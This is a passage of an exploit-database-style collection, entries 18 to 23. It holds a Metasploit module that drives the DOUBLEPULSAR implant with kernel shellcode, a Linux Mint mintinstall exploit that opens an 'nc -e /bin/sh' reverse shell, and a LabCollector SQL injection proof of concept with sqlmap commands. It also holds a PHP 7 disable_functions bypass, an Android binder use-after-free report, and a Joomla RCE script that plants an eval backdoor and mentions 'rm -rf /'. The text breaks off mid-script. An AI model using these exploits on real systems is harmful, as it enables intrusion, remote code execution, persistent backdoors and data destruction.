  18. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client MAX_SHELLCODE_SIZE = 4096 def initialize(info = {}) super(update_info(info, 'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization', 'Description' => %q{ This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant. }, 'Author' => [ 'Equation Group', # DOUBLEPULSAR implant 'Shadow Brokers', # Equation Group dump 'zerosum0x0', # DOPU analysis and detection 'Luke Jennings', # DOPU analysis and detection 'wvu', # Metasploit module and arch detection 'Jacob Robles' # Metasploit module and RCE help ], 'References' => [ ['MSB', 'MS17-010'], ['CVE', '2017-0143'], ['CVE', '2017-0144'], ['CVE', '2017-0145'], ['CVE', '2017-0146'], ['CVE', '2017-0147'], ['CVE', '2017-0148'], ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'], ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'], ['URL', 'https://github.com/countercept/doublepulsar-detection-script'], ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'], ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'] ], 'DisclosureDate' => '2017-04-14', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Privileged' => true, 'Payload' => { 'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size, 'DisableNops' => true }, 'Targets' => [ ['Execute payload', {}], ['Neutralize implant', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'AKA' => ['DOUBLEPULSAR'], 'RelatedModules' => [ 'auxiliary/scanner/smb/smb_ms17_010', 'exploit/windows/smb/ms17_010_eternalblue' ], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] } )) register_advanced_options([ OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]), OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe']) ]) end OPCODES = { ping: 0x23, exec: 0xc8, kill: 0x77 } STATUS_CODES = { not_detected: 0x00, success: 0x10, invalid_params: 0x20, alloc_failure: 0x30 } def calculate_doublepulsar_status(m1, m2) STATUS_CODES.key(m2.to_i - m1.to_i) end # algorithm to calculate the XOR Key for DoublePulsar knocks def calculate_doublepulsar_xor_key(s) x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) x & 0xffffffff # this line was added just to truncate to 32 bits end # The arch is adjacent to the XOR key in the SMB signature def calculate_doublepulsar_arch(s) s == 0 ? ARCH_X86 : ARCH_X64 end def generate_doublepulsar_timeout(op) k = SecureRandom.random_bytes(4).unpack('V').first 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00 end def generate_doublepulsar_param(op, body) case OPCODES.key(op) when :ping, :kill "\x00" * 12 when :exec Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*')) end end def check ipc_share = "\\\\#{rhost}\\IPC$" @tree_id = do_smb_setup_tree(ipc_share) vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}") vprint_status("Target OS is #{smb_peer_os}") vprint_status('Sending ping to DOUBLEPULSAR') code, signature1, signature2 = do_smb_doublepulsar_pkt msg = 'Host is likely INFECTED with DoublePulsar!' case calculate_doublepulsar_status(@multiplex_id, code) when :success @xor_key = calculate_doublepulsar_xor_key(signature1) @arch = calculate_doublepulsar_arch(signature2) arch_str = case @arch when ARCH_X86 'x86 (32-bit)' when ARCH_X64 'x64 (64-bit)' end vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}") CheckCode::Vulnerable when :not_detected vprint_error('DOUBLEPULSAR not detected or disabled') CheckCode::Safe else vprint_error('An unknown error occurred') CheckCode::Unknown end end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute code against a nation-state implant? You MAY contaminate forensic evidence if there is an investigation. Disable the DefangedMode option if you have authorization to proceed. EOF fail_with(Failure::BadConfig, warning) end # No ForceExploit because @tree_id and @xor_key are required unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR') end case target.name when 'Execute payload' unless @xor_key fail_with(Failure::NotFound, 'XOR key not found') end if @arch == ARCH_X86 fail_with(Failure::NoTarget, 'x86 is not a supported target') end print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}") shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName']) shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length) vprint_status("Total shellcode length: #{shellcode.length} bytes") print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}") xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode) print_status('Sending shellcode to DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode) when 'Neutralize implant' return neutralize_implant end case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Payload execution successful') when :invalid_params fail_with(Failure::BadConfig, 'Invalid parameters were specified') when :alloc_failure fail_with(Failure::PayloadFailed, 'An allocation failure occurred') else fail_with(Failure::Unknown, 'An unknown error occurred') end ensure disconnect end def neutralize_implant print_status('Neutralizing DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill]) case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Implant neutralization successful') else fail_with(Failure::Unknown, 'An unknown error occurred') end end def do_smb_setup_tree(ipc_share) connect # logon as user \ simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) # connect to IPC$ simple.connect(ipc_share) # return tree simple.shares[ipc_share] end def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil) # make doublepulsar knock pkt = make_smb_trans2_doublepulsar(opcode, body) sock.put(pkt) bytes = sock.get_once return unless bytes # convert packet to response struct pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct pkt.from_s(bytes[4..-1]) return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] end def make_smb_trans2_doublepulsar(opcode, body) setup_count = 1 setup_data = [0x000e].pack('v') param = generate_doublepulsar_param(opcode, body) data = param + body.to_s pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct simple.client.smb_defaults(pkt['Payload']['SMB']) base_offset = pkt.to_s.length + (setup_count * 2) - 4 param_offset = base_offset data_offset = param_offset + param.length pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc007 @multiplex_id = rand(0xffff) pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload']['SMB'].v['TreeID'] = @tree_id pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id pkt['Payload'].v['ParamCountTotal'] = param.length pkt['Payload'].v['DataCountTotal'] = body.to_s.length pkt['Payload'].v['ParamCountMax'] = 1 pkt['Payload'].v['DataCountMax'] = 0 pkt['Payload'].v['ParamCount'] = param.length pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = body.to_s.length pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup_count pkt['Payload'].v['SetupData'] = setup_data pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode) pkt['Payload'].v['Payload'] = data pkt.to_s end # ring3 = user mode encoded payload # proc_name = process to inject APC into def make_kernel_user_payload(ring3, proc_name) sc = make_kernel_shellcode(proc_name) sc << [ring3.length].pack("S<") sc << ring3 sc end def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" process.each_byte do |c| proc_hash = ror(proc_hash, 13) proc_hash += c end [proc_hash].pack('l<') end def ror(dword, bits) (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF end def make_kernel_shellcode(proc_name) # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 780 bytes "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" + "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" + "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" + "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" + "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" + "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" + "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" + "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" + "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" + "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" + "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" + "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" + "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" + generate_process_hash(proc_name.upcase) + "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" + "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" + "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" + "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" + "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" + "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" + "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" + "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" + "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" + "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" + "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" + "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" + "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" + "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" + "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" + "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" + "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" + "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" + "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" + "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" + "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" + "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" + "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" + "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" + "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" + "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" + "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" + "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" + "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" + "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" + "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" + "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" + "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" + "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" + "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" + "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3" end def kernel_shellcode_size make_kernel_shellcode('').length end end
  19. # Exploit Title: mintinstall (aka Software Manager) object injection # Date: 10/02/2019 # Exploit Author: Andhrimnirr # Vendor Homepage: https://www.linuxmint.com/ # Software Link: mintinstall (aka Software Manager) # Version: 7.9.9 # Tested on: Linux Mint # CVE : CVE-2019-17080 import os import sys def shellCode(payload): with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb: wb.write(payload) print("[+] Start mintinstall") if __name__=="__main__": shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""") else: print("[!] exploit.py [IP] [PORT]")
  20. # Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection # Date: 09/09/2019 # Software Links/Project: https://www.labcollector.com/clientarea/downloads.php # Version: LabCollector (Laboratory Information System) 5.423 # Exploit Author: Carlos Avila # Category: webapps # Tested on: Debian 9 / Win10 # Contact: http://twitter.com/badboy_nt 1. Description LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs. It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below: http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login] http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name) 2. Proof of Concept ---------------------------------------------------------------------------------------------------------------------------------- Post Request: POST /labcollector/html/login.php HTTP/1.1 Host: 192.168.0.102 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 113 DNT: 1 Connection: close Referer: http://192.168.0.102/labcollector/html/login.php Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7 Upgrade-Insecure-Requests: 1 login=test&pass=hola&action=login&Submit=Sign+In ---------------------------------------------------------------------------------------------------------------------------------- All tests have been performed in a controlled and local environment. sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f 3. Solution: Application inputs must be validated correctly throughout the development of the project.
  21. <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # released as of 04/10/2019, specifically: # # PHP 7.0 - 7.0.33 # PHP 7.1 - 7.1.31 # PHP 7.2 - 7.2.23 # PHP 7.3 - 7.3.10 # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
  22. The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others): There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c. As described in the upstream commit: “binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free.” The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/[email protected]/): #include <fcntl.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <unistd.h> #define BINDER_THREAD_EXIT 0x40046208ul int main() { int fd, epfd; struct epoll_event event = { .events = EPOLLIN }; fd = open("/dev/binder0", O_RDONLY); epfd = epoll_create(1000); epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); ioctl(fd, BINDER_THREAD_EXIT, NULL); } This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review. Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated): 1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/) 2) Huawei P20 3) Xiaomi Redmi 5A 4) Xiaomi Redmi Note 5 5) Xiaomi A1 6) Oppo A3 7) Moto Z3 8) Oreo LG phones (run same kernel according to website) 9) Samsung S7, S8, S9 *We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.* Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached. I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to: * It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox. * The bug was allegedly being used or sold by the NSO Group. * It works on Pixel 1 and 2, but not Pixel 3 and 3a. * It was patched in the Linux kernel >= 4.14 without a CVE. * CONFIG_DEBUG_LIST breaks the primitive. * CONFIG_ARM64_UAO hinders exploitation. * The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component. * The exploit requires little or no per-device customization. * A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue. Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time. We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload. The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox. I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys). Vendor statement from Android: "This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update." Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip
  23. # Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution # Google Dork: N/A # Date: 2019-10-02 # Exploit Author: Alessandro Groppo @Hacktive Security # Vendor Homepage: https//www.joomla.it/ # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 # Version: 3.0.0 --> 3.4.6 # Tested on: Linux # CVE : N/A # # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41 # Github: https://github.com/kiks7/rusty_joomla_rce # # The exploitation is implanting a backdoor in /configuration.php file in the root directory # with an eval in order to be more suitable for all environments, but it is also more intrusive. # If you don't like this way, you can replace the get_backdoor_pay() # with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /') #!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import sys import string import random import argparse from termcolor import colored PROXS = {'http':'127.0.0.1:8080'} PROXS = {} def random_string(stringLength): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) backdoor_param = random_string(50) def print_info(str): print(colored("[*] " + str,"cyan")) def print_ok(str): print(colored("[+] "+ str,"green")) def print_error(str): print(colored("[-] "+ str,"red")) def print_warning(str): print(colored("[!!] " + str,"yellow")) def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf def get_error(url, cook): resp = requests.get(url, cookies = cook, proxies = PROXS) if 'Failed to decode session object' in resp.text: #print(resp.text) return False #print(resp.text) return True def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies def gen_pay(function, command): # Generate the payload for call_user_func('FUNCTION','COMMAND') template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' #payload = command + ' || $a=\'http://wtf\';' payload = 'http://l4m3rz.l337/;' + command # Following payload will append an eval() at the enabled of the configuration file #payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def make_req(url , object_payload): # just make a req with object print_info('Getting Session Cookie ..') cook = get_cook(url) print_info('Getting CSRF Token ..') csrf = get_token( url, cook) user_payload = '\\0\\0\\0' * 9 padding = 'AAA' # It will land at this padding working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects inj_object = '";' inj_object += object_payload inj_object += 's:6:"return";s:102:' # end the object with the 'return' part password_payload = padding + inj_object params = { 'username': user_payload, 'password': password_payload, 'option':'com_users', 'task':'user.login', csrf :'1' } print_info('Sending request ..') resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) return resp.text def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # payload = command + ' || $a=\'http://wtf\';' # Following payload will append an eval() at the enabled of the configuration file payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', 